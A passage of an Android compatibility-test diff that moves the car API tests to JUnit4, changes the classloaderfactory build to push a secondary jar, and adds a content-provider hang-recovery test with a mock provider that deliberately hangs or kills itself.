 import test_package.IEmpty;
 import test_package.ITest;
 import test_package.RegularPolygon;
+import test_package.Foo;
+import test_package.Bar;
 
 import java.util.concurrent.CountDownLatch;
 
 public class TestImpl extends ITest.Stub {
   @Override
+  public int getInterfaceVersion() { return TestImpl.VERSION; }
+
+  @Override
   public String GetName() {
     return "JAVA";
   }
@@ -265,4 +270,33 @@
     System.arraycopy(in_value, 0, repeated, 0, in_value.length);
     return in_value;
   }
+
+  @Override
+  public int NewMethodThatReturns10() {
+    return 10;
+  }
+
+  @Override
+  public Foo repeatFoo(Foo inFoo) {
+    return inFoo;
+  }
+
+  @Override
+  public void renameFoo(Foo foo, String name) {
+    foo.a = name;
+  }
+
+  @Override
+  public void renameBar(Foo foo, String name) {
+    if (foo.d == null) {
+      foo.d = new Bar();
+    }
+    foo.d.a = name;
+  }
+
+  @Override
+  public int getF(Foo foo) {
+    return foo.f;
+  }
+
 }
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index 7310085..049a8a6 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,7 +24,10 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	android-support-test \
+	compatibility-device-util \
+	ctstestrunner
 
 LOCAL_JAVA_LIBRARIES := android.car android.test.base.stubs
 
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index c931169..558e7be 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -23,4 +23,5 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.car.cts" />
     </test>
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.CarModuleController"/>
 </configuration>
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index d982c1b..7cf6a73 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -16,18 +16,31 @@
 
 package android.car.cts;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.Car;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+import org.junit.After;
 
-public class CarApiTestBase extends AndroidTestCase {
+public abstract class CarApiTestBase {
     protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
 
     private Car mCar;
@@ -39,18 +52,21 @@
         assertTrue(Looper.getMainLooper().isCurrentThread());
     }
 
-    @Override
     protected void setUp() throws Exception {
-        super.setUp();
-        mCar = Car.createCar(getContext(), mConnectionListener, null);
+        assumeTrue(FeatureUtil.isAutomotive());
+
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mCar = Car.createCar(context, mConnectionListener, null);
         mCar.connect();
         mConnectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mCar.disconnect();
+    @After
+    public void disconnectCar() throws Exception {
+        if (mCar != null) {
+            mCar.disconnect();
+        }
     }
 
     protected synchronized Car getCar() {
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index 2dd0a81..910819d 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -15,30 +15,44 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import static android.car.CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED;
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND;
 
 import android.car.Car;
 import android.car.CarAppFocusManager;
+import android.content.Context;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
+
 import android.util.Log;
 
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+import org.junit.After;
 import org.junit.Assert;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarAppFocusManagerTest extends CarApiTestBase {
     private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
     private CarAppFocusManager mManager;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mManager = (CarAppFocusManager) getCar().getCarManager(Car.APP_FOCUS_SERVICE);
         assertNotNull(mManager);
@@ -57,6 +71,7 @@
 
     }
 
+    @Test
     public void testSetActiveNullListener() throws Exception {
         try {
             mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, null);
@@ -66,6 +81,7 @@
         }
     }
 
+    @Test
     public void testRegisterNull() throws Exception {
         try {
             mManager.addFocusListener(null, 0);
@@ -75,6 +91,7 @@
         }
     }
 
+    @Test
     public void testRegisterUnregister() throws Exception {
         FocusChangedListerner listener = new FocusChangedListerner();
         FocusChangedListerner listener2 = new FocusChangedListerner();
@@ -84,10 +101,14 @@
         mManager.removeFocusListener(listener2);
     }
 
+    @Test
     public void testFocusChange() throws Exception {
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+
         DefaultServiceConnectionListener connectionListener =
                 new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener, null);
+        Car car2 = Car.createCar(context, connectionListener, null);
         car2.connect();
         connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
         CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -216,10 +237,13 @@
         manager2.removeFocusListener(change2);
     }
 
+    @Test
     public void testFilter() throws Exception {
         DefaultServiceConnectionListener connectionListener =
                 new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener);
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+        Car car2 = Car.createCar(context, connectionListener);
         car2.connect();
         connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
         CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -274,6 +298,7 @@
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
     }
 
+    @Test
     public void testMultipleChangeListenersPerManager() throws Exception {
         FocusChangedListerner listener = new FocusChangedListerner();
         FocusChangedListerner listener2 = new FocusChangedListerner();
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e9de083..51cd291 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -15,29 +15,38 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.car.Car;
 import android.car.CarInfoManager;
 import android.os.Bundle;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarInfoManagerTest extends CarApiTestBase {
 
     private CarInfoManager mCarInfoManager;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mCarInfoManager = (CarInfoManager) getCar().getCarManager(Car.INFO_SERVICE);
     }
 
+    @Test
     public void testVehicleId() throws Exception {
         assertNotNull(mCarInfoManager.getVehicleId());
     }
 
+    @Test
     public void testNullables() throws Exception {
         // no guarantee of existence. just call and check if it throws exception.
         mCarInfoManager.getManufacturer();
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 5d03ef9..3f3c9a9 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -15,20 +15,35 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.car.Car;
 import android.car.CarNotConnectedException;
 import android.car.content.pm.CarPackageManager;
+import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
 import java.util.List;
 
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarPackageManagerTest extends CarApiTestBase {
 
     private CarPackageManager mCarPm;
@@ -37,14 +52,14 @@
     /** Name of the meta-data attribute for the automotive application XML resource */
     private static final String METADATA_ATTRIBUTE = "android.car.application";
 
-
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mCarPm = (CarPackageManager) getCar().getCarManager(Car.PACKAGE_SERVICE);
     }
 
-   public void testActivityDistractionOptimized() throws Exception {
+    @Test
+    public void testActivityDistractionOptimized() throws Exception {
        assertFalse(mCarPm.isActivityDistractionOptimized("com.basic.package", "DummyActivity"));
        // Real system activity is not allowed as well.
        assertFalse(mCarPm.isActivityDistractionOptimized("com.android.phone", "CallActivity"));
@@ -69,8 +84,10 @@
        }
    }
 
+    @Test
     public void testSystemActivitiesAllowed() throws CarNotConnectedException {
-        List<PackageInfo> packages = getContext().getPackageManager().getInstalledPackages(
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        List<PackageInfo> packages = context.getPackageManager().getInstalledPackages(
                 PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
 
         for (PackageInfo info : packages) {
@@ -95,6 +112,8 @@
         }
     }
 
+    @Test
+    @Ignore // Enable when b/120125891 is fixed
     public void testServiceDistractionOptimized() throws Exception {
         assertFalse(mCarPm.isServiceDistractionOptimized("com.basic.package", ""));
         assertTrue(mCarPm.isServiceDistractionOptimized("com.android.car.settings", "Any"));
diff --git a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
index 21358a6..84338be 100644
--- a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
@@ -16,24 +16,38 @@
 
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertNotNull;
+
 import android.car.Car;
 import android.car.hardware.CarSensorEvent;
 import android.car.hardware.CarSensorManager;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarSensorManagerTest extends CarApiTestBase {
 
     private CarSensorManager mCarSensorManager;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mCarSensorManager = (CarSensorManager) getCar().getCarManager(Car.SENSOR_SERVICE);
     }
 
+    @Test
+    @Ignore // Enable when b/120125891 is fixed
     public void testRequiredSensorsForDrivingState() throws Exception {
         int[] supportedSensors = mCarSensorManager.getSupportedSensors();
         assertNotNull(supportedSensors);
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 61b16bb..e406008 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -15,30 +15,53 @@
  */
 package android.car.cts;
 
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.Car;
 import android.content.ComponentName;
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
-public class CarTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CarTest {
 
     private static final long DEFAULT_WAIT_TIMEOUT_MS = 2000;
 
     private Car mCar;
     private DefaultServiceConnectionListener mServiceConnectionListener;
 
+    @Before
+    public void setUp() {
+        assumeTrue(FeatureUtil.isAutomotive());
+    }
+
+    @Test
     public void testConnection() throws Exception {
         mServiceConnectionListener = new DefaultServiceConnectionListener();
-        mCar = Car.createCar(getContext(), mServiceConnectionListener);
+        mCar = Car.createCar(
+            InstrumentationRegistry.getInstrumentation().getTargetContext(),
+                    mServiceConnectionListener);
         assertFalse(mCar.isConnected());
         assertFalse(mCar.isConnecting());
         mCar.connect();
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 904650f..4a14de9 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -15,18 +15,35 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.CarNotConnectedException;
 import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
-public class ExceptionsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ExceptionsTest {
     private static final String MESSAGE = "Oops!";
     private static final Exception CAUSE = new RuntimeException();
 
+    @Before
+    public void setUp() {
+        assumeTrue(FeatureUtil.isAutomotive());
+    }
+
+    @Test
     public void testCarNotConnectedException() {
         CarNotConnectedException exception = new CarNotConnectedException();
         assertNull(exception.getMessage());
diff --git a/tests/tests/classloaderfactory/Android.mk b/tests/tests/classloaderfactory/Android.mk
index 118a154..347fe67 100644
--- a/tests/tests/classloaderfactory/Android.mk
+++ b/tests/tests/classloaderfactory/Android.mk
@@ -12,8 +12,18 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-# Copy secondary APK to CTS target directory.
-my_secondary_apk := $(call intermediates-dir-for,JAVA_LIBRARIES,CtsClassLoaderFactoryTestCasesSecondaryDex,,COMMON)/javalib.jar
-$(eval $(call copy-one-file,$(my_secondary_apk),$(TARGET_OUT_TESTCASES)/CtsClassLoaderFactoryTestCasesSecondaryDex.apk))
+LOCAL_PATH := $(call my-dir)
 
-include $(call all-subdir-makefiles)
+# Copy secondary APK to CTS target directory.
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-classloaderfactory-secondary-jar
+LOCAL_MODULE_STEM := classloaderfactory-secondary.jar
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH = $(TARGET_OUT_TESTCASES)
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+include $(BUILD_SYSTEM)/base_rules.mk
+my_secondary_apk_src := $(call intermediates-dir-for,JAVA_LIBRARIES,CtsClassLoaderFactoryTestCasesSecondaryDex,,COMMON)/javalib.jar
+$(eval $(call copy-one-file,$(my_secondary_apk_src),$(LOCAL_BUILT_MODULE)))
+my_secondary_apk_src :=
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/classloaderfactory/base_test.mk b/tests/tests/classloaderfactory/base_test.mk
index 009919e..33df573 100644
--- a/tests/tests/classloaderfactory/base_test.mk
+++ b/tests/tests/classloaderfactory/base_test.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
 LOCAL_ADDITIONAL_DEPENDENCIES += \
-    $(TARGET_OUT_TESTCASES)/CtsClassLoaderFactoryTestCasesSecondaryDex.apk
+    $(TARGET_OUT_TESTCASES)/classloaderfactory-secondary.jar
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
index f867234..386a2e8 100644
--- a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
@@ -29,7 +29,7 @@
 @RunWith(AndroidJUnit4.class)
 public class AppComponentFactoryTest {
     public static final String SECONDARY_APK_PATH =
-            "/data/local/tmp/classloaderfactory-test/secondary.apk";
+            "/data/local/tmp/classloaderfactory-test/secondary.jar";
     private static final String CLASS_PACKAGE_NAME =
             AppComponentFactoryTest.class.getPackage().getName();
 
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
index 26eb20e..4ea2064 100644
--- a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
@@ -21,7 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/classloaderfactory-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="CtsClassLoaderFactoryTestCasesSecondaryDex.apk->/data/local/tmp/classloaderfactory-test/secondary.apk" />
+        <option name="push" value="classloaderfactory-secondary.jar->/data/local/tmp/classloaderfactory-test/secondary.jar" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
index 6af26e2..3b3817c 100644
--- a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
@@ -21,7 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/classloaderfactory-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="CtsClassLoaderFactoryTestCasesSecondaryDex.apk->/data/local/tmp/classloaderfactory-test/secondary.apk" />
+        <option name="push" value="classloaderfactory-secondary.jar->/data/local/tmp/classloaderfactory-test/secondary.jar" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
index 713e547..1981853 100644
--- a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
+++ b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
@@ -133,7 +133,7 @@
 
         final String result = concatResult(readAll(
                 InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                        "pm clear " + providerPackage)));
+                        "pm clear --user current " + providerPackage)));
         Log.i(TAG, "Result:" + result);
 
         assertEquals("Success", result);
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverTest.java b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
index d1c03d2..824d0fe 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
@@ -30,6 +30,7 @@
 import android.os.OperationCanceledException;
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
+import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -42,6 +43,8 @@
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.OutputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class ContentResolverTest extends AndroidTestCase {
     private final static String COLUMN_ID_NAME = "_id";
@@ -62,10 +65,10 @@
     private static final String REMOTE_AUTHORITY = "remotectstest";
     private static final Uri REMOTE_TABLE1_URI = Uri.parse("content://"
                 + REMOTE_AUTHORITY + "/testtable1/");
-    private static final Uri REMOTE_SELF_URI = Uri.parse("content://"
-                + REMOTE_AUTHORITY + "/self/");
     private static final Uri REMOTE_CRASH_URI = Uri.parse("content://"
             + REMOTE_AUTHORITY + "/crash/");
+    private static final Uri REMOTE_HANG_URI = Uri.parse("content://"
+            + REMOTE_AUTHORITY + "/hang/");
 
     private static final Account ACCOUNT = new Account("cts", "cts");
 
@@ -112,6 +115,9 @@
 
     @Override
     protected void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+
         mContentResolver.delete(TABLE1_URI, null, null);
         if ( null != mCursor && !mCursor.isClosed() ) {
             mCursor.close();
@@ -138,7 +144,7 @@
         // so the act of killing it doesn't kill our own process.
         client.release();
         try {
-            client.delete(REMOTE_SELF_URI, null, null);
+            client.delete(REMOTE_CRASH_URI, null, null);
         } catch (RemoteException e) {
         }
         // Now make sure the thing is actually gone.
@@ -189,7 +195,7 @@
         try {
             Log.i("ContentResolverTest",
                     "Killing remote client -- if test process goes away, that is why!");
-            uClient.delete(REMOTE_SELF_URI, null, null);
+            uClient.delete(REMOTE_CRASH_URI, null, null);
         } catch (RemoteException e) {
         }
         // Make sure the remote client is actually gone.
@@ -227,7 +233,7 @@
         try {
             Log.i("ContentResolverTest",
                     "Killing remote client -- if test process goes away, that is why!");
-            uClient.delete(REMOTE_SELF_URI, null, null);
+            uClient.delete(REMOTE_CRASH_URI, null, null);
         } catch (RemoteException e) {
         }
         // Make sure the remote client is actually gone.
@@ -276,7 +282,7 @@
         try {
             Log.i("ContentResolverTest",
                     "Killing remote client -- if test process goes away, that is why!");
-            client.delete(REMOTE_SELF_URI, null, null);
+            client.delete(REMOTE_CRASH_URI, null, null);
         } catch (RemoteException e) {
         }
         // Make sure the remote client is actually gone.
@@ -708,7 +714,7 @@
         try {
             Log.i("ContentResolverTest",
                     "Killing remote client -- if test process goes away, that is why!");
-            uClient.delete(REMOTE_SELF_URI, null, null);
+            uClient.delete(REMOTE_CRASH_URI, null, null);
         } catch (RemoteException e) {
         }
         uClient.release();
@@ -740,7 +746,7 @@
         try {
             Log.i("ContentResolverTest",
                     "Killing remote client -- if test process goes away, that is why!");
-            uClient.delete(REMOTE_SELF_URI, null, null);
+            uClient.delete(REMOTE_CRASH_URI, null, null);
         } catch (RemoteException e) {
         }
         uClient.release();
@@ -1232,6 +1238,30 @@
         }
     }
 
+    public void testHangRecover() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(android.Manifest.permission.REMOVE_TASKS);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        new Thread(() -> {
+            final ContentProviderClient client = mContentResolver
+                    .acquireUnstableContentProviderClient(REMOTE_AUTHORITY);
+            client.setDetectNotResponding(2_000);
+            try {
+                client.query(REMOTE_HANG_URI, null, null, null);
+                fail("Funky, we somehow returned?");
+            } catch (RemoteException e) {
+                latch.countDown();
+            }
+        }).start();
+
+        // The remote process should have been killed after the ANR was detected
+        // above, causing our pending call to return and release our latch above
+        // within 10 seconds; if our Binder thread hasn't been freed, then we
+        // fail with a timeout.
+        latch.await(10, TimeUnit.SECONDS);
+    }
+
     private class MockContentObserver extends ContentObserver {
         private boolean mHadOnChanged = false;
 
diff --git a/tests/tests/content/src/android/content/cts/MockContentProvider.java b/tests/tests/content/src/android/content/cts/MockContentProvider.java
index 0183177..d2b613c 100644
--- a/tests/tests/content/src/android/content/cts/MockContentProvider.java
+++ b/tests/tests/content/src/android/content/cts/MockContentProvider.java
@@ -16,21 +16,18 @@
 
 package android.content.cts;
 
-import static androidx.core.util.Preconditions.checkArgument;
 import static junit.framework.Assert.assertEquals;
 
 import android.annotation.NonNull;
 import android.annotation.Nullable;
 import android.content.ContentProvider;
 import android.content.ContentProvider.PipeDataWriter;
-import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
 import android.content.UriMatcher;
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
-import android.database.CursorWrapper;
 import android.database.SQLException;
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteOpenHelper;
@@ -39,6 +36,7 @@
 import android.os.Bundle;
 import android.os.CancellationSignal;
 import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -51,8 +49,8 @@
 import java.io.UnsupportedEncodingException;
 import java.util.HashMap;
 
-public class MockContentProvider extends ContentProvider
-        implements PipeDataWriter<String> {
+public class MockContentProvider extends ContentProvider implements PipeDataWriter<String> {
+    private static final String TAG = "MockContentProvider";
 
     private static final String DEFAULT_AUTHORITY = "ctstest";
     private static final String DEFAULT_DBNAME = "ctstest.db";
@@ -63,8 +61,8 @@
     private static final int TESTTABLE1_CROSS = 3;
     private static final int TESTTABLE2 = 4;
     private static final int TESTTABLE2_ID = 5;
-    private static final int SELF_ID = 6;
     private static final int CRASH_ID = 6;
+    private static final int HANG_ID = 7;
 
     private static @Nullable Uri sRefreshedUri;
     private static boolean sRefreshReturnValue;
@@ -116,8 +114,8 @@
         URL_MATCHER.addURI(mAuthority, "testtable1/cross", TESTTABLE1_CROSS);
         URL_MATCHER.addURI(mAuthority, "testtable2", TESTTABLE2);
         URL_MATCHER.addURI(mAuthority, "testtable2/#", TESTTABLE2_ID);
-        URL_MATCHER.addURI(mAuthority, "self", SELF_ID);
         URL_MATCHER.addURI(mAuthority, "crash", CRASH_ID);
+        URL_MATCHER.addURI(mAuthority, "hang", HANG_ID);
 
         CTSDBTABLE1_LIST_PROJECTION_MAP = new HashMap<>();
         CTSDBTABLE1_LIST_PROJECTION_MAP.put("_id", "_id");
@@ -166,9 +164,9 @@
                     (!TextUtils.isEmpty(selection) ? " AND (" + selection + ')' : ""),
                     selectionArgs);
             break;
-        case SELF_ID:
+        case CRASH_ID:
             // Wha...?  Delete ME?!?  O.K.!
-            Log.i("MockContentProvider", "Delete self requested!");
+            Log.i(TAG, "Delete self requested!");
             count = 1;
             android.os.Process.killProcess(android.os.Process.myPid());
             break;
@@ -300,6 +298,12 @@
             qb.setProjectionMap(CTSDBTABLE1_LIST_PROJECTION_MAP);
             break;
 
+        case HANG_ID:
+            while (true) {
+                Log.i(TAG, "Hanging provider by request...");
+                SystemClock.sleep(1000);
+            }
+
         default:
             throw new IllegalArgumentException("Unknown URL " + uri);
         }
@@ -393,7 +397,7 @@
             pw = new PrintWriter(new OutputStreamWriter(fout, "UTF-8"));
             pw.print(args);
         } catch (UnsupportedEncodingException e) {
-            Log.w("MockContentProvider", "Ooops", e);
+            Log.w(TAG, "Ooops", e);
         } finally {
             if (pw != null) {
                 pw.flush();
@@ -416,7 +420,7 @@
         if (getCrashOnLaunch(getContext())) {
             // The test case wants us to crash our process on first launch.
             // Well, okay then!
-            Log.i("MockContentProvider", "TEST IS CRASHING SELF, CROSS FINGERS!");
+            Log.i(TAG, "TEST IS CRASHING SELF, CROSS FINGERS!");
             setCrashOnLaunch(getContext(), false);
             android.os.Process.killProcess(android.os.Process.myPid());
         }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index ca006e2..00559be 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -705,11 +705,11 @@
         assertEquals(PermissionInfo.PROTECTION_NORMAL, permissionInfo.getProtection());
 
         // Check a dangerous (runtime) permission.
